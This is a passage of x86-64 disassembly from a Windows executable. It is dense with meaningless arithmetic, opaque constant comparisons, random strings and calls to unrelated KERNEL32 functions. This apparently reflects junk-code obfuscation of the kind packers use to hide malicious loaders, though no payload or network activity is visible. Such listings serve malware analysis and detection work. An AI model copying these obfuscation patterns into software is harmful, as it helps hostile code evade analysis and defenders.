movzx eax, word [rax]
movzx ecx, word [rsp + 0x1f38]
and eax, ecx
mov word [rsp + 0x1f14], ax
call qword [sym.imp.KERNEL32.dll_GetCommandLineW]
mov qword [rsp + 0xc0a0], rax
mov rax, qword [rsp + 0xc088]
mov rcx, qword [rsp + 0xc1d8]
xor rcx, rax
mov rax, rcx
mov qword [rsp + 0xb910], rax
movsx eax, byte [rsp + 0x376]
movsx ecx, byte [rsp + 0x375]
sub eax, ecx
mov byte [rsp + 0x1d7], al
mov eax, dword [rsp + 0x6328]
movzx ecx, al
mov eax, dword [rsp + 0x6348]
shl eax, cl
mov dword [rsp + 0x62f4], eax
jmp 0x1400137ae
mov r8d, ILSaveToStream
mov edx, 0x29
mov rcx, qword [rsp + 0xc238]
call qword [sym.imp.KERNEL32.dll_SetProcessWorkingSetSize]
mov dword [rsp + 0x6340], eax
mov rax, qword [rsp + 0xc210]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xc008]
or rcx, rax
mov rax, rcx
mov qword [rsp + 0xc1a0], rax
mov rax, qword [rsp + 0xc1c0]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x1f1c]
sar eax, cl
mov word [rsp + 0x137c], ax
mov rax, qword [rsp + 0xc1c8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x1f20]
sub eax, ecx
mov word [rsp + 0x1f38], ax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_EscapeCommFunction]
mov rax, qword [rsp + 0xc0b0]
mov rcx, qword [rsp + 0xba40]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0xc118], rax
movzx eax, byte [rsp + 0x374]
movzx ecx, byte [rsp + 0x253]
add eax, ecx
mov byte [str.5qKr], al
mov rax, qword [rsp + 0xc1d8]
mov rcx, qword [rsp + 0xc0b0]
or rcx, rax
mov rax, rcx
mov qword [rsp + 0xc218], rax
call qword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov dword [rsp + 0x6360], eax
mov rax, qword [rsp + 0xc1c8]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xc0a8]
movzx ecx, word [rcx]
sar eax, cl
mov rcx, qword [rsp + 0xc1c8]
mov word [rcx], ax
mov rax, qword [rsp + 0xa148]
mov rcx, qword [rsp + 0xc210]
mov qword [rsp + 0xc240], rcx
movzx ecx, al
mov rax, qword [rsp + 0xc240]
mov rax, qword [rax]
shl rax, cl
mov qword [rsp + 0xc0d8], rax
movsx eax, byte [rsp + 0x375]
movsx ecx, byte [rsp + 0x376]
xor eax, ecx
mov byte [rsp + 0x1d7], al
mov eax, dword [rsp + 0x62cc]
mov ecx, dword [rsp + 0x5728]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x62d0], eax
movzx eax, byte [rsp + 0x253]
movzx ecx, byte [str.5qKr]
sub eax, ecx
mov byte [rsp + 0x30b], al
mov eax, dword [rsp + 0x62f4]
mov ecx, dword [rsp + 0x6254]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x6348], eax
movsx eax, word [rsp + 0x1d04]
mov rcx, qword [rsp + 0xc1c0]
movsx ecx, word [rcx]
or eax, ecx
mov word [rsp + 0x1f1c], ax
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [rsp + 0x62e8], eax
movzx ecx, word [rsp + 0x1f28]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x1f28], ax
movsx eax, word [rsp + 0x1f1c]
movsx ecx, word [rsp + 0x137c]
sar eax, cl
mov word [0x1401c8a14], ax
call qword [sym.imp.KERNEL32.dll_GetCommandLineW]
mov qword [rsp + 0xc120], rax
mov eax, dword [rsp + 0x6310]
sub eax, 0x77
mov dword [rsp + 0x6310], eax
lea rcx, [rsp + 0x1fc78]
call qword [sym.imp.KERNEL32.dll_GetNativeSystemInfo]
mov rax, qword [rsp + 0xc1c8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xfdc]
shl eax, cl
mov word [rsp + 0x1f38], ax
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateFileMappingW]
cmp dword [rsp + 0x6310], 0xe9a2
ja 0x1400137ae
movzx eax, byte [rsp + 0x30b]
mov byte [rsp + 0x6364], al
cmp byte [rsp + 0x6364], 0xaf
je 0x140013b01
cmp byte [rsp + 0x6364], 0xe1
je 0x1400139ed
jmp 0x140013c86
movzx eax, word [rsp + 0x1f14]
mov word [rsp + 0x1f3c], ax
mov rax, qword [rsp + 0x9ae8]
mov qword [rsp + 0xc248], rax
movabs rax, 0x71c75aea4403fd
cmp qword [rsp + 0xc248], rax
je 0x140013a3e
movabs rax, 0x75492a3f9e569d
cmp qword [rsp + 0xc248], rax
je 0x140013ad9
jmp 0x140013afc
mov eax, dword [rsp + 0x5ed0]
mov ecx, dword [rsp + 0x62a4]
sub ecx, eax
mov eax, ecx
mov ecx, dword [rsp + 0x6328]
mov edx, dword [rsp + 0x6254]
add edx, ecx
mov ecx, edx
cmp eax, ecx
jb 0x140013ad7
movsx eax, byte [rsp + 0x1d7]
movsx ecx, byte [rsp + 0x375]
add eax, ecx
mov byte [rsp + 0x376], al
mov rax, qword [rsp + 0xa148]
mov rcx, qword [rsp + 0xc1a0]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0xc008], rax
mov rdx, qword [rsp + 0xc110]
mov rcx, qword [rsp + 0xc1e8]
call qword [sym.imp.KERNEL32.dll_MoveFileW]
mov dword [rsp + 0x6368], eax
lea rdx, [rsp + 0xc138]
mov rcx, qword [rsp + 0xc250]
call qword [sym.imp.KERNEL32.dll_GetExitCodeThread]
mov dword [rsp + 0x6264], eax
jmp 0x140013afc
mov rax, qword [rsp + 0xc1c8]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xc0a8]
movzx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0xc1c8]
mov word [rcx], ax
jmp 0x140013c86
mov edx, SHGetNewLinkInfoW
mov rcx, qword [rsp + 0xc1f8]
call qword [sym.imp.KERNEL32.dll_SetProcessAffinityMask]
mov dword [rsp + 0x636c], eax
mov r8d, 0xa1
mov edx, 0x6c
mov rcx, qword [rsp + 0xc250]
call qword [sym.imp.KERNEL32.dll_SetProcessWorkingSetSize]
mov dword [rsp + 0x6280], eax
mov eax, dword [rsp + 0x6254]
movzx ecx, al
mov eax, dword [rsp + 0x6348]
shl eax, cl
mov ecx, dword [rsp + 0x6328]
mov edx, dword [rsp + 0x62f4]
or edx, ecx
mov ecx, edx
cmp eax, ecx
je 0x140013b86
lea rdx, [rsp + 0xc028]
mov rcx, qword [rsp + 0xc238]
call qword [sym.imp.KERNEL32.dll_GetFileSizeEx]
mov dword [rsp + 0x6370], eax
jmp 0x140013c86
mov eax, dword [rsp + 0x62d4]
mov ecx, dword [rsp + 0x62cc]
and ecx, eax
mov eax, ecx
mov ecx, dword [rsp + 0x62d0]
mov edx, dword [rsp + 0x5728]
xor edx, ecx
mov ecx, edx
cmp eax, ecx
jg 0x140013c29
lea rcx, [rsp + 0xc258]
call qword [sym.imp.KERNEL32.dll_SwitchToFiber]
lea rax, [rsp + 0x29d70]
mov qword [rsp + 0x20], rax
mov r9d, dword [rsp + 0x6374]
mov r8d, SHTestTokenMembership
mov dx, 0xa8
mov rcx, qword [rsp + 0xc250]
call qword [sym.imp.KERNEL32.dll_FillConsoleOutputCharacterW]
mov dword [rsp + 0x6368], eax
movsx eax, word [rsp + 0x1d04]
movsx ecx, word [rsp + 0x137c]
sar eax, cl
mov rcx, qword [rsp + 0xc1c0]
mov word [rcx], ax
movzx eax, word [rsp + 0x1f20]
movzx ecx, word [rsp + 0xfdc]
shl eax, cl
mov word [rsp + 0x1f14], ax
jmp 0x140013c86
movzx eax, byte [rsp + 0x374]
movzx ecx, byte [rsp + 0x253]
sar eax, cl
movzx ecx, byte [rsp + 0x30b]
movzx edx, byte [str.5qKr]
imul ecx, edx
cmp eax, ecx
je 0x140013c68
mov rcx, qword [rsp + 0xc260]
call qword [sym.imp.KERNEL32.dll_ResumeThread]
mov dword [rsp + 0x6348], eax
jmp 0x140013c86
mov rax, qword [rsp + 0x9ae8]
mov rcx, qword [rsp + 0xc0b0]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0xc118], rax
mov rax, qword [rsp + 0xc0a8]
movzx eax, word [rax]
mov dword [rsp + 0x6378], eax
cmp dword [rsp + 0x6378], 0x372
je 0x140013ca7
jmp 0x140013cc9
mov rdx, qword [rsp + 0xc238]
mov rcx, qword [rsp + 0xc1f8]
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
mov dword [rsp + 0x6340], eax
jmp 0x140196933
cmp dword [rsp + 0x6354], 0xb3ca
je 0x140013e08
lea rcx, str.IxI2_aHc_tilxiG
call qword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [rsp + 0x1f30], ax
mov rcx, qword [rsp + 0xc180]
call qword [sym.imp.KERNEL32.dll_SetEvent]
mov dword [rsp + 0x637c], eax
mov eax, dword [rsp + 0x6354]
add eax, 0xe5
mov dword [rsp + 0x6354], eax
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov qword [rsp + 0xc128], rax
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_FlushInstructionCache]
call qword [sym.imp.KERNEL32.dll_ConvertFiberToThread]
mov rax, qword [rsp + 0xc0a8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xfdc]
or eax, ecx
mov word [rsp + 0x1f14], ax
movzx eax, byte [rsp + 0x30b]
movzx ecx, byte [rsp + 0x253]
shl eax, cl
mov byte [rsp + 0x374], al
mov eax, dword [rsp + 0x5728]
movzx ecx, al
mov eax, dword [rsp + 0x62cc]
sar eax, cl
mov dword [rsp + 0x62d0], eax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetThreadPriorityBoost]
call qword [sym.imp.KERNEL32.dll_GetCommandLineW]
mov qword [rsp + 0xc1b8], rax
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
mov rax, qword [rsp + 0xc210]
mov rcx, qword [section..data]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0xbeb8], rax
mov eax, dword [rsp + 0x6380]
mov ecx, dword [rsp + 0x6328]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x5ed0], eax
movsx eax, byte [rsp + 0x1d7]
movsx ecx, byte [0x1401c8a12]
shl eax, cl
mov byte [rsp + 0x375], al
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetLastError]
jmp 0x140013cc9
mov eax, dword [rsp + 0x62a4]
mov dword [0x1401c8a18], eax
lea rax, [rsp + 0x137c]
mov qword [rsp + 0xc268], rax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_TransmitCommChar]
lea rcx, str.ZpHQ_eqjmX.vGLp
call qword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [rsp + 0x1f40], ax
mov rax, qword [rsp + 0x9ae8]
movzx ecx, al
mov rax, qword [rsp + 0xb0d8]
sar rax, cl
mov rcx, qword [rsp + 0xba40]
mov rdx, qword [rsp + 0xc0b0]
or rdx, rcx
mov rcx, rdx
cmp rax, rcx
je 0x140013f5f
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetFileTime]
movzx eax, byte [rsp + 0x374]
movzx ecx, byte [str.5qKr]
sub eax, ecx
movzx ecx, byte [rsp + 0x30b]
movzx edx, byte [rsp + 0x253]
add ecx, edx
cmp eax, ecx
jg 0x140013f5f
movzx eax, byte [rsp + 0x1d7]
mov byte [rsp + 0x6384], al
cmp byte [rsp + 0x6384], 0x81
je 0x140013efb
cmp byte [rsp + 0x6384], 0x1b
je 0x140013edc
jmp 0x140013f5f
lea rdx, [rsp + 0xc238]
mov rcx, qword [rsp + 0xc1f8]
call qword [sym.imp.KERNEL32.dll_GetThreadPriorityBoost]
mov dword [rsp + 0x6270], eax
jmp 0x140013f5f
mov rcx, qword [rsp + 0xc180]
call qword [sym.imp.KERNEL32.dll_ResetEvent]
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x40
mov dword [rsp + 0x20], 5
xor r9d, r9d
mov r8d, 1
mov edx, 0x40000000
lea rcx, str.9cJya7IpJUHLNupMkyd0uoqR4
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rsp + 0xc270], rax
movsx eax, word [rsp + 0x1f1c]
movsx ecx, word [rsp + 0x137c]
xor eax, ecx
mov word [rsp + 0x1d04], ax
mov rax, qword [rsp + 0xc1c8]
movzx eax, word [rax]
mov word [rsp + 0x1f44], ax
cmp dword [rsp + 0x6350], 0xfc57
je 0x14001425b
mov rax, qword [rsp + 0xb0d8]
mov rcx, qword [rsp + 0xb910]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0xc130], rax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_EscapeCommFunction]
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_FindFirstFileExW]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_LocalShrink]
lea rcx, [rsp + 0x1fca8]
call qword [sym.imp.KERNEL32.dll_GetNativeSystemInfo]
call qword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [rsp + 0x62bc], eax
mov rax, qword [rsp + 0xbeb8]
mov rcx, qword [rsp + 0xc210]
mov qword [rsp + 0xc278], rcx
movzx ecx, al
mov rax, qword [rsp + 0xc278]
mov rax, qword [rax]
shr rax, cl
mov qword [rsp + 0xc1a0], rax
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateTapePartition]
mov r9d, 1
lea r8, [rsp + 0xc190]
mov rdx, qword [rsp + 0xc1e0]
mov rcx, qword [rsp + 0xc270]
call qword [sym.imp.KERNEL32.dll_SetFilePointerEx]
mov dword [rsp + 0x62a8], eax
movzx ecx, word [rsp + 0x1f28]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x1f48], ax
mov eax, dword [rsp + 0x6350]
add eax, 0xf9
mov dword [rsp + 0x6350], eax
mov eax, dword [0x1401c8a18]
mov dword [rsp + 0x6380], eax
movsx eax, byte [rsp + 0x376]
movsx ecx, byte [rsp + 0x375]
or eax, ecx
mov byte [rsp + 0x1d7], al
call qword [sym.imp.KERNEL32.dll_GetCommandLineW]
mov qword [rsp + 0xc120], rax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetFileType]
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [rsp + 0x628c], eax
mov rax, qword [rsp + 0xc1c0]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x137c]
shl eax, cl
mov rcx, qword [rsp + 0xc268]
mov word [rcx], ax
mov rcx, qword [rsp + 0xc180]
call qword [sym.imp.KERNEL32.dll_SetEvent]
mov dword [rsp + 0x62a8], eax
call qword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov dword [rsp + 0x634c], eax
mov rax, qword [rsp + 0xc210]
mov rcx, qword [rsp + 0xa148]
mov rax, qword [rax]
sub rax, rcx
mov qword [section..data], rax
mov rax, qword [rsp + 0xb910]
mov rcx, qword [rsp + 0xc0b0]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0xb0d8], rax
lea rcx, [rsp + 0x1fcd8]
call qword [sym.imp.KERNEL32.dll_GetNativeSystemInfo]
movzx ecx, word [rsp + 0x1f04]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x1f10], ax
mov rax, qword [rsp + 0xc0a8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x1f3c]
sub eax, ecx
mov rcx, qword [rsp + 0xc0a8]
mov word [rcx], ax
movzx eax, byte [rsp + 0x374]
movzx ecx, byte [rsp + 0x30b]
sar eax, cl
mov byte [rsp + 0x253], al
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetCommMask]
mov eax, dword [rsp + 0x5728]
movzx ecx, al
mov eax, dword [rsp + 0x62cc]
shl eax, cl
mov dword [rsp + 0x62d0], eax
mov rax, qword [section..data]
mov rcx, qword [rsp + 0xc0d8]
or rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0xc210]
mov qword [rcx], rax
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetWriteWatch]
mov rax, qword [rsp + 0xc210]
mov rcx, qword [rsp + 0xa148]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0xc210]
mov qword [rcx], rax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_LocalUnlock]
call qword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov dword [rsp + 0x6304], eax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetMessageWaitingIndicator]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_EscapeCommFunction]
jmp 0x140013f72
movsx eax, byte [0x1401c8a12]
movsx ecx, byte [rsp + 0x375]
sub eax, ecx
mov byte [rsp + 0x1d7], al
movsx eax, word [rsp + 0x137c]
movsx ecx, word [rsp + 0x1f1c]
xor eax, ecx
mov word [rsp + 0x1d04], ax
mov rax, qword [rsp + 0xc130]
mov rcx, qword [rsp + 0xc1d8]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0xc280], rax
mov rax, qword [rsp + 0xc088]
cqo
idiv qword [rsp + 0xc118]
mov rcx, qword [rsp + 0xc280]
cmp rcx, rax
jge 0x140014382
mov eax, dword [rsp + 0x5728]
mov dword [rsp + 0x6388], eax
cmp dword [rsp + 0x6388], 0x1f594c51
je 0x1400142fb
cmp dword [rsp + 0x6388], 0x25d98389
je 0x140014365
jmp 0x140014382
mov ecx, 0x61
call qword [sym.imp.KERNEL32.dll_AttachConsole]
mov dword [rsp + 0x6270], eax
movzx eax, byte [rsp + 0x374]
movzx ecx, byte [rsp + 0x253]
shl eax, cl
mov byte [str.5qKr], al
mov rax, qword [rsp + 0xc118]
mov rcx, qword [rsp + 0x9ae8]
or rcx, rax
mov rax, rcx
mov qword [rsp + 0xc218], rax
movsx eax, word [rsp + 0x1d04]
mov rcx, qword [rsp + 0xc268]
movsx ecx, word [rcx]
sar eax, cl
mov rcx, qword [rsp + 0xc1c0]
mov word [rcx], ax
jmp 0x140014382
movsx eax, word [rsp + 0x1f1c]
movsx ecx, word [rsp + 0x1d04]
sub eax, ecx
mov rcx, qword [rsp + 0xc1c0]
mov word [rcx], ax
movzx eax, word [rsp + 0x1f20]
movzx ecx, word [rsp + 0x1f44]
add eax, ecx
mov word [rsp + 0x1f0c], ax
mov rax, qword [rsp + 0xc210]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xc0d8]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0xc008], rax
mov eax, dword [rsp + 0x62ec]
add eax, 0x96
mov dword [rsp + 0x62ec], eax
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetNamedPipeInfo]
movsx eax, byte [rsp + 0x1d7]
movsx ecx, byte [rsp + 0x376]
sub eax, ecx
mov byte [rsp + 0x375], al
mov eax, dword [rsp + 0x5ed0]
mov ecx, dword [rsp + 0x62f4]
or ecx, eax
mov eax, ecx
mov dword [rsp + 0x6328], eax
mov rax, qword [rsp + 0xc0b0]
movzx ecx, al
mov rax, qword [rsp + 0xc218]
sar rax, cl
mov qword [rsp + 0xc088], rax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_EscapeCommFunction]
mov rcx, qword [rsp + 0xc180]
call qword [sym.imp.KERNEL32.dll_ResetEvent]
mov rax, qword [rsp + 0xc1c0]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xc268]
movsx ecx, word [rcx]
shl eax, cl
mov word [0x1401c8a14], ax
mov rax, qword [rsp + 0xc1c8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x1f38]
add eax, ecx
mov word [rsp + 0x1f14], ax
call qword [sym.imp.KERNEL32.dll_GetCommandLineW]
mov qword [rsp + 0xc288], rax
movzx eax, byte [rsp + 0x30b]
movzx ecx, byte [rsp + 0x374]
add eax, ecx
mov byte [rsp + 0x253], al
lea rdx, [rsp + 0x25f48]
mov rcx, qword [rsp + 0xc1d0]
call qword [sym.imp.KERNEL32.dll_GetFileInformationByHandle]
mov dword [rsp + 0x62b0], eax
mov eax, dword [rsp + 0x5728]
mov dword [rsp + 0x62cc], eax
mov r9d, 1
lea r8, [rsp + 0xc1e0]
mov rdx, qword [rsp + 0xc098]
mov rcx, qword [rsp + 0xc078]
call qword [sym.imp.KERNEL32.dll_SetFilePointerEx]
mov dword [rsp + 0x62b0], eax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetThreadPriorityBoost]
mov rcx, qword [rsp + 0xc010]
call qword [sym.imp.KERNEL32.dll_ResetEvent]
movzx ecx, word [rsp + 0x1f30]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x1f4c], ax
movzx eax, word [rsp + 0x1f0c]
movzx ecx, word [rsp + 0x1f44]
xor eax, ecx
mov rcx, qword [rsp + 0xc0a8]
mov word [rcx], ax
mov eax, dword [rsp + 0x6328]
mov ecx, dword [rsp + 0x6348]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x62f4], eax
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov qword [rsp + 0xc020], rax
movsx eax, byte [rsp + 0x375]
movsx ecx, byte [rsp + 0x1d7]
sub eax, ecx
mov byte [rsp + 0x376], al
movzx ecx, word [rsp + 0x1f30]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x1f18], ax
mov rax, qword [rsp + 0xc210]
mov rcx, qword [rsp + 0xc0d8]
mov rax, qword [rax]
or rax, rcx
mov qword [rsp + 0xbeb8], rax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetCommTimeouts]
mov rax, qword [rsp + 0xc268]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x1f1c]
shl eax, cl
mov word [rsp + 0x137c], ax
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetInformationJobObject]
movzx eax, byte [rsp + 0x374]
movzx ecx, byte [rsp + 0x253]
sar eax, cl
mov byte [str.5qKr], al
mov rax, qword [rsp + 0xc088]
mov rcx, qword [rsp + 0xba40]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0xc130], rax
cmp dword [rsp + 0x62ec], 0xc369
jne 0x140014382
mov rax, qword [rsp + 0xbeb8]
mov rcx, qword [section..data]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0xc210]
mov rdx, qword [rsp + 0xa148]
mov rcx, qword [rcx]
add rcx, rdx
cmp rax, rcx
je 0x1401966e7
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_LocalUnlock]
mov edx, 0x8ef
mov rcx, qword [rsp + 0xc048]
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov dword [rsp + 0x627c], eax
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateEventW]
mov qword [rsp + 0xc290], rax
lea rcx, [rsp + 0x1fc48]
call qword [sym.imp.KERNEL32.dll_GetSystemInfo]
movzx eax, byte [rsp + 0x374]
mov byte [rsp + 0x638c], al
cmp byte [rsp + 0x638c], 0
je 0x1400146e0
jmp 0x1401965dd
movsx eax, word [rsp + 0x137c]
mov rcx, qword [rsp + 0xc268]
movsx ecx, word [rcx]
shl eax, cl
mov rcx, qword [rsp + 0xc1c0]
movsx ecx, word [rcx]
mov dword [rsp + 0x6390], ecx
movsx edx, word [rsp + 0x1f1c]
movzx ecx, dl
mov edx, dword [rsp + 0x6390]
sar edx, cl
mov ecx, edx
cmp eax, ecx
jne 0x140014770
mov rax, qword [rsp + 0xc1c8]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xc0a8]
movzx ecx, word [rcx]
shl eax, cl
mov word [rsp + 0xa5c], ax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_ReleaseMutex]
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [rsp + 0x6394], eax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_ClearCommBreak]
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [rsp + 0x62e8], eax
jmp 0x1400149f7
mov rax, qword [rsp + 0xc1c0]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xc268]
movsx ecx, word [rcx]
and eax, ecx
movsx ecx, word [0x1401c8a10]
movsx edx, word [rsp + 0x1f1c]
xor ecx, edx
cmp eax, ecx
jge 0x140014854
mov eax, dword [rsp + 0x62a4]
mov ecx, dword [rsp + 0x6348]
or ecx, eax
mov eax, ecx
mov dword [rsp + 0x62f4], eax
mov rax, qword [rsp + 0xc0d8]
mov rcx, qword [rsp + 0xc210]
mov qword [rsp + 0xc298], rcx
movzx ecx, al
mov rax, qword [rsp + 0xc298]
mov rax, qword [rax]
shr rax, cl
mov rcx, qword [rsp + 0xc210]
mov qword [rcx], rax
mov ecx, SHGetNewLinkInfoW
call qword [sym.imp.KERNEL32.dll_SetUserGeoID]
mov dword [rsp + 0x6340], eax
mov rax, qword [rsp + 0xc210]
mov rcx, qword [rsp + 0xc008]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0xc210]
mov qword [rcx], rax
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov qword [rsp + 0xc250], rax
mov rax, qword [rsp + 0xc1c0]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xc268]
movsx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x1f1c], ax
jmp 0x1400149f7
mov eax, dword [rsp + 0x62d0]
mov ecx, dword [rsp + 0x6398]
or ecx, eax
mov eax, ecx
mov ecx, dword [rsp + 0x5728]
mov edx, dword [rsp + 0x62cc]
sub edx, ecx
mov ecx, edx
cmp eax, ecx
jge 0x1400149f7
movsx eax, byte [rsp + 0x376]
movsx ecx, byte [rsp + 0x1d7]
add eax, ecx
mov byte [0x1401c8a12], al
mov ecx, ILGetSize
call qword [sym.imp.KERNEL32.dll_AttachConsole]
mov dword [rsp + 0x639c], eax
movzx eax, byte [rsp + 0x374]
mov byte [rsp + 0x63a0], al
cmp byte [rsp + 0x63a0], 0x1a
je 0x1400149e0
cmp byte [rsp + 0x63a0], 0x69
je 0x1400148d6
jmp 0x1400149f7
mov edx, 0xa9
mov rcx, qword [rsp + 0xc260]
call qword [sym.imp.KERNEL32.dll_GetConsoleFontSize]
mov dword [rsp + 0x63a4], eax
mov eax, dword [rsp + 0x63a4]
mov dword [rsp + 0x6374], eax
mov rcx, qword [rsp + 0xc2a0]
call qword [sym.imp.KERNEL32.dll_GetThreadPriority]
mov dword [rsp + 0x5728], eax
mov dword [rsp + 0x20], reloc.SHELL32.dll_SHTestTokenMembership
lea r9, [rsp + 0xc0a8]
lea r8, [rsp + 0xc2a8]
lea rdx, [rsp + 0xc200]
mov rcx, qword [rsp + 0xc1f8]
call qword [sym.imp.KERNEL32.dll_GetQueuedCompletionStatus]
mov dword [rsp + 0x6268], eax
movzx eax, byte [rsp + 0x375]
mov byte [rsp + 0x63a8], al
cmp byte [rsp + 0x63a8], 0x12
je 0x14001496d
cmp byte [rsp + 0x63a8], 0x43
je 0x1400149c0
jmp 0x1400149de
mov rax, qword [rsp + 0xc088]
mov rcx, qword [rsp + 0xb910]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0xc118], rax
mov rcx, qword [rsp + 0xc2b0]
call qword [sym.imp.KERNEL32.dll_SetEndOfFile]
mov dword [rsp + 0x6338], eax
mov rax, qword [rsp + 0x9ae8]
mov rcx, qword [rsp + 0xb0d8]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0xc088], rax
jmp 0x1400149de
mov rax, qword [rsp + 0xc1d8]
mov rcx, qword [rsp + 0xb0d8]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0xc130], rax
jmp 0x1400149f7
lea rdx, [rsp + 0x6374]
mov cl, 0xe3
call qword [sym.imp.KERNEL32.dll_GetNumaProcessorNode]
mov dword [rsp + 0x63ac], eax
lea rax, [rsp + 0x1d04]
mov qword [rsp + 0xc2b8], rax
movsx eax, byte [rsp + 0x376]
movsx ecx, byte [0x1401c8a12]
and eax, ecx
mov byte [rsp + 0x375], al
movsx eax, word [rsp + 0x137c]
mov dword [rsp + 0x63b0], eax
cmp dword [rsp + 0x63b0], 0x38c
je 0x140014a3d
jmp 0x140014a83
movzx eax, byte [rsp + 0x253]
movzx ecx, byte [rsp + 0x374]
sar eax, cl
mov byte [rsp + 0x30b], al
movzx eax, byte [rsp + 0x30b]
movzx ecx, byte [rsp + 0x374]
or eax, ecx
mov byte [str.5qKr], al
call qword [sym.imp.KERNEL32.dll_GetSystemDefaultUILanguage]
movzx eax, ax
mov dword [rsp + 0x5728], eax
jmp 0x140196577
mov eax, dword [rsp + 0x6380]
mov dword [rsp + 0x63b4], eax
cmp dword [rsp + 0x63b4], 0xfffd2be5
je 0x140014aa3
jmp 0x140014db6
mov edx, 0x224f
